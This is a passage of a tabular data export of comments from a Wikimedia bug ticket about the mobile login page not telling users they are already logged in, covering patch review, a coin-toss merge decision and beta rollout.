263951,Special:UserLogin does not inform you you're already logged in on mobile,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through.",,,1388432112,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.5588235294117645,0.8235294117647058,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through."
263947,Special:UserLogin does not inform you you're already logged in on mobile,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.,,,1388431423,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,2.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,16.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6136363636363638,0.8636363636363636,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.
263941,Special:UserLogin does not inform you you're already logged in on mobile,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.

Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!",,,1388431332,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,1.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,1.0,5.0,2.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,13.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,11.0,3.0,1.0,12.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,0.0,13.0,19.0,1.0,0.0,2.0,0.0,13.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.6526315789473682,0.7052631578947368,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.

Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!"
263939,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 merged by jenkins-bot:
Show ""already logged-in"" notice at Special:UserLogin

https://gerrit.wikimedia.org/r/104382",,,1388431141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8695652173913043,"Change 104382 merged by jenkins-bot:
Show ""already logged-in"" notice at Special:UserLogin

GERRIT_URL"
263938,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 abandoned by Jdlrobson:
Add ""You're already logged in"" information to Special:UserLogin

Reason:
This lost the coin toss.
https://gerrit.wikimedia.org/r/#/c/104382/ got merged instead so this patch is no longer needed.

Thank you so much for the patch though. There was no problem whatsoever with this code.

https://gerrit.wikimedia.org/r/104378",,,1388431130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,8.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.96875,0.765625,"Change 104378 abandoned by Jdlrobson:
Add ""You're already logged in"" information to Special:UserLogin

Reason:
This lost the coin toss.
URL got merged instead so this patch is no longer needed.

Thank you so much for the patch though. There was no problem whatsoever with this code.

GERRIT_URL"
263937,Special:UserLogin does not inform you you're already logged in on mobile,"@Jon, I'm not able to modify the status setting...",,,1388372468,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,1.0,"SCREEN_NAME, I'm not able to modify the status setting..."
263936,Special:UserLogin does not inform you you're already logged in on mobile,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.,,,1388370337,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,7.0,14.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.
263932,Special:UserLogin does not inform you you're already logged in on mobile,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches.",,,1388339702,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.869565217391304,0.782608695652174,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches."
263924,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 had a related patch set uploaded by Theopolisme:
Show ""already logged-in"" notice at Special:UserLogin

https://gerrit.wikimedia.org/r/104382",,,1388336160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9230769230769231,"Change 104382 had a related patch set uploaded by Theopolisme:
Show ""already logged-in"" notice at Special:UserLogin

GERRIT_URL"
263918,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 had a related patch set uploaded by M4tx:
Add ""You're already logged in"" information to Special:UserLogin

https://gerrit.wikimedia.org/r/104378",,,1388335351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.2592592592592595,0.9259259259259259,"Change 104378 had a related patch set uploaded by M4tx:
Add ""You're already logged in"" information to Special:UserLogin

GERRIT_URL"
263913,Special:UserLogin does not inform you you're already logged in on mobile,Screen looks great though.,,,1388299842,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Screen looks great though.
263907,Special:UserLogin does not inform you you're already logged in on mobile,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.,,,1388299697,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.962962962962963,0.8518518518518519,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.
263901,Special:UserLogin does not inform you you're already logged in on mobile,Is it necessary to limit this to the beta mode? It seems like just displaying something like http://i.imgur.com/MuL7w3I.png would be uncontroversial enough...Jon?,,,1388289181,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.384615384615385,0.8846153846153846,Is it necessary to limit this to the beta mode? It seems like just displaying something like URL would be uncontroversial enough...Jon?
263897,Special:UserLogin does not inform you you're already logged in on mobile,Understood. Thank you!,,,1388274093,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Understood. Thank you!
263894,Special:UserLogin does not inform you you're already logged in on mobile,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.,,,1388263315,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.06,0.82,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.
263892,Special:UserLogin does not inform you you're already logged in on mobile,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.

For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""

Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time.",,,1388253997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,1.0,0.5,6.0,4.5,0.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,3.0,0.0,6.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,0.5,2.5,1.5,4.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.5,1.5,2.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,9.0,9.0,2.5,0.0,2.0,0.0,9.0,0.0,1.0,2.0,1.5,1.5,0.0,0.0,0.0,3.659259259259259,0.8166666666666667,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.

For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""

Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time."
263889,Special:UserLogin does not inform you you're already logged in on mobile,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.,,,1388131170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,18.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.8214285714285714,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.
263883,Special:UserLogin does not inform you you're already logged in on mobile,"As long as the task is well defined, yes, this looks like a good GCI task.",,,1387915483,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"As long as the task is well defined, yes, this looks like a good GCI task."
263879,Special:UserLogin does not inform you you're already logged in on mobile,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.,,,1387912853,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.
263876,Special:UserLogin does not inform you you're already logged in on mobile,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.,,,1387497900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.9130434782608695,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.
263872,Special:UserLogin does not inform you you're already logged in on mobile,*** Bug 56023 has been marked as a duplicate of this bug. ***,,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56023 has been marked as a duplicate of this bug. ***
263868,Special:UserLogin does not inform you you're already logged in on mobile,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?",,,1383157807,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,6.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,9.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,9.0,2.0,2.0,0.0,6.0,17.0,2.0,2.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.382978723404255,0.8297872340425532,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?"
263864,Special:UserLogin does not inform you you're already logged in on mobile,"(In reply to comment #5)
> I was just pointing out that many websites if you go to the login page whilst
> logged in they will redirect you to a user dashboard. Since we don't have
> this equivalent though I can understand a warning message may suffice.

Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages).",,,1383157658,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,True,,,9,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,18.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,3.0,1.0,10.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,4.0,18.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,3.6956521739130435,0.7282608695652174,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages)."
263858,Special:UserLogin does not inform you you're already logged in on mobile,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.

